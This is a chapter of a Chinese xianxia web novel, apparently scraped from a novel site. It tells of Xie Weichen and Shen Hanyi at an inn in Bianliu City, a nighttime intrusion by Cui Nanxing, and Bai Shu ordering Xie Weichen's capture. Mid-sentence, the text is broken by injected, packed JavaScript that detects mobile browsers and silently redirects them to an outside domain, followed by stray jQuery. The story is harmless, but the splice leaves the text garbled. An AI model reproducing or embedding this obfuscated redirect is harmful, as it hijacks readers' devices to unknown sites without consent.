木行野 作品

44. 边柳城

白日刮风打雷,飘了些细雨。直到晚上,雨才变大,哗啦啦地砸下来,打着屋檐。


在脱离鬼目城之前,沈寒衣去过最远的地方便是朔北大漠边缘的吴新镇。


那地方,挨在沙漠边上,本就鲜少降雨。百年间,她能碰上下雨天的次数屈指可数。但那偶尔的几次,足够她记忆很久。


大漠的雨滴在脸上不凉,风扑来时,粘腻的热气也扑过来。


中原就大不相同了,雨丝丝凉凉,让人心静。此时,沈寒衣从方才的梦境中清醒,开始理这几日发生的事。


从异兽到谢钰召来的阴山兽群都环有红光,直指大言山。也许谢钰口中的大人,就是这一切的源头。


沈寒衣按了按额角,若幕后之人真与她有着血海深仇,百年不忘倒也无可厚非。因为换成她,也绝不可能轻易放下。


要寻神女殿找回记忆并解决异兽,大言山是必去之地。她要见识见识,藏在背后的大人,究竟是个什么东西。


夜半时分,谢微尘也没有睡。桌角留了一盏灯烛,光线昏黄。他两指间夹了一杆还未沾墨的笔,悠悠转动,盯着面前的纸张发呆。


他沉吟一阵,在纸上几个人名间圈圈划划,最后将谢钰的名字与大言山连在一起。至于其他的人,谢微尘还要好好想想。


谢家先祖是最先诞生的一批玄师,家族传承至今,有一套完整的管理秩序。谢氏最高决策权掌握在家主手中,但家主并不能独揽全部事宜。


中原的几大玄师世家,都有决议阁。依照惯例,长老都是从旁系中选出来的德高望重者。在必要时刻,他们有权联合起来,约束家主。谢家也不例外,阁内有五位长老,都是年岁一大把的老头。


谢家直系定居在京都郊外的元无山,掌管家族大小事务。旁系则分散各地,管理谢氏在外的组织。从旁系选出的长老们拥有的权力不低。


谢微尘将他了解到的关于几位长老的消息,在脑中过了几遍。他记得,三长老与五长老对他母亲白姝继承家主一事颇为不满的。面对他这个不学无术的后辈,更是厌烦至极。


不过与谢钰有关系的,却不是他们,而是忠心耿耿的大长老。就是他,收了谢钰做亲传弟子。可他们二人关系如何,谢微尘就无从知晓了。


想到这,谢微尘将几位长老的名字一一划去,只留下大长老。他最信任的长老,也是口风最严的一位。这十多年来,从未回答过关于大言山之乱的任何问题。


谢微尘看着纸上几条错杂的线,知道自己得回谢家,他要弄清楚一件事,才能赶往大言山。


只是不知沈寒衣要计划去哪里,他看着纸上沈寒衣的名字沉思。就在这时,隔壁传出哐当声响,似有重物坠地。谢微尘的手抖了下,笔尖的墨滴在纸上,迅速晕染开。他吹灭蜡烛,立刻起身缓步靠到窗前,正巧见一个人影从隔壁的窗户跳出,攀到房顶上,没了踪影。


雨已然停歇,空荡荡的主道上站着几个手持棍棒的伙计。


“站住!”


“快来人啊,有贼。”


谢微尘感知到空气中一晃而过的灵力波动,没有后退也没有抬手关窗。那人就在房顶上,根本没逃。


大堂的灯亮了起来,透过纱窗映得屋内亮堂几分。忽然,黑影在他眼前闪过,坠落的瞬间,一手抓住了窗沿,轻巧地翻进了谢微尘的屋子。刚进来,便几步闪到他面前,试图钳制他。


眼见距离迅速拉近,要抓住谢微尘的肩膀时,黑衣人忽然顿住。


此时,旅舍掌柜已经带着伙计到隔壁房中搜查完毕。搜完出来后,路过谢微尘的房门,掌柜敲了下门。


“方才有贼人闯入,客官可有恙?”


“我没事,就要睡下了。”谢微尘答道。


掌柜听他语气散漫,放心离开去确认其他住客的情况。


黑衣人拿下面具,轻声道:“谢玄师,多谢。”


面具后面是张熟悉的面容,女子瞳孔漆黑,眼中锋芒还未完全收起。


谢微尘微讶:“原来是崔玄师。”他扫了一眼她手上的面具:“这是?”


“不是大事,找一件丢失的法器而已。”


谢微尘识趣地转移话题,问起那位在大漠中中了蛇毒的方玄师。得知他在边柳城因伤势恶化已经死去时,谢微尘还适当地感叹一句。


崔南星本不欲在此多做停留,但那人就在附近,她现在出去必然正面撞上。她犹豫时,门外传来动静。显然有人停在外面,但没有敲门。崔南星立马戒备,身子就抵在窗边,随时可以逃。


“谢微尘。”沈寒衣提剑站在门外,听见屋里细微的动静,蹙起了眉。


崔南星还没听出来人是谁,就见眼前的谢微尘已经拉开门。


女子逆着光,但周身气质让人见一次便难忘。崔南星知道她是谁了,


“沈玄师。”


几人在谢微尘屋里聊了几句,崔南星没有把自己深夜闯入,又这样一副打扮的缘由说出来。沈寒衣二人自然不会探究,尤其沈寒衣,除了嗯,就没有别的话从她口中蹦出来。


“崔玄师是从阴山过来的,可有在阴山发现受困的人?”


“谢玄师说笑了,敢住在阴山的不都是妖吗?何况,若遇人陷入困境,我崔家定当出手相助。”崔南星反问。


谢微尘笑笑,没有说话。他可不信,一群人来回翻越阴山会不知无名村的存在。他懂得玄师并非都心怀责任,但亲眼看见这样的,说话还是忍不住带了刺。


“晟城崔家的家训,果真名不虚传。”


在崔家子弟面前,最不能夸的就是他们家的家训。崔家有任家主,曾教自家子弟:人前必做君子,人后顺应本心。


这话不知被哪个缺德的传了出去,传着传着就被当成崔家家训,立马被江湖上的人讥嘲。这还是谢微尘第一次说这话。


崔南星脸色变了变,但想着外面还在搜查她踪迹的人,忍住没有反驳。


“这是我的屋子,崔玄师还要借用多久呢?”


“深夜叨扰是在下失礼,请谢玄师报上住所,我崔家定然奉上报酬。”


谢微尘抬手打了个哈欠,懒懒道:“我不缺钱,就缺觉。”


崔南星眼角不禁抽了抽,想起师弟师妹们当日的议论,说那谢玄师一穷二白,全靠沈玄师的钱袋养着。这位谢玄师,怕是对自己没什么认知。


出去是不可能出去的。虽是无耻了些,但跟命比起来可不算什么。她闭上嘴,细想对策,眼中却忽现异色。


她想起什么,直直看着谢微尘:“你是京都谢家的人?”


谢微尘靠


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508639|170327||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


着椅背,仿佛觉得荒唐:“我怎会是他那种人。”


非必要时,沈寒衣不会在陌生人面前说多话,她只瞥了谢微尘一眼。见她没有接话,谢微尘居然隐隐有些失落,但很快就想起原因。于是,再看向崔南星时,就更冷了些。


崔南星没说话,都传言谢家家主的儿子是个游手好闲的废物,他确实不可能出现在此处。但她的疑心没有完全散去:“听说谢家大长老病重垂危,谢家发布了悬赏令,遍寻江湖神医。”


谢微尘心中一跳,面上却没表现出来。


沈寒衣终于插了一句:“崔玄师,夜很深了。”


“对啊,你不愿意走,就和我们在这叙旧?”


崔南星是呆不下去了,算着外面那人应该不在这附近了,她平静抬手告辞:“我欠你们一个人情,若有需要,二位玄师可来晟城寻我。凡在我能力范围之内,定会相助。”


她走后,谢微尘的疑惑忧虑才露了出来。大长老那副铁打一样的身体,不大会说病就病。得以最快的速度赶回去,只是沈寒衣的目的地······


“沈姑娘会直接去大言山吗?”


谢钰背后的人实力莫测,贸然前去那人的老巢,定然不占优势。沈寒衣也明白,在抵达大言山前,她的灵力虽能恢复,但山中生灵众多,对她使用灵力有极大限制。确实很不利,但她还是要去探一探。


“谢家未必有线索,我先去大言山探查。”


“京都与大言山只有半日路程,即使没有在谢家找出线索也不会耽误太久。”


沈寒衣没有同意,她得亲眼看到大言山如今的状况,再细做打算。


“我不会贸然进山。”


说完,沈寒衣回房休息,二人的商议就此停住。


次日一早,空气中还氤氲着潮湿的冷气。谢微尘照昨日那样买了热腾腾的包子,等着守城兵开城门。


他边吃边出神,沈寒衣不吃热食,只是因为不习惯?


以谢微尘的思想,有躯体却不能吃热乎的东西,长此以往,五脏六腑会被损害。


想到这,他忽然觉得手中的肉包子不香了,惹得他食欲大减。但秉着不浪费食物的观念,谢微尘面无表情地吃完了。


旅舍的伙计将马牵来,沈寒衣走在后面。谢微尘擦了擦嘴,朝她招手。


二人收拾好,待城门大开,立刻骑着马朝中原奔去。


千里之外,京都元无山。


青年拾阶而上,走动时腰间系着的水滴状玉坠碰在一起,叮当作响。打扫阶梯的仆役听到这玉石声连忙垂头,恭敬道:“白公子。”


白晏如微微点头,朝着谢氏祠堂的方向走去。


祠堂内,白姝身披黑纱,静立在屋子正中。门没有关,风吹进来,晃动一室灯烛。


“师父,您传信让弟子回来,是有何要务要指派?”白晏如站在门外,温声道。


白姝盯着一块牌位,嗓音低沉:“去边柳城,把谢微尘抓回来。崔家人也在,不要暴露身份,谨慎行事。”


她的语气令青年心下惊骇,但他没有多问,行礼道:“弟子遵命。”


青年离开后,白姝上前擦拭那看了多年的牌位,素来冷漠的眼中流露出罕见的迷茫。


“无妄,我如今也不知该如何护他周全了。”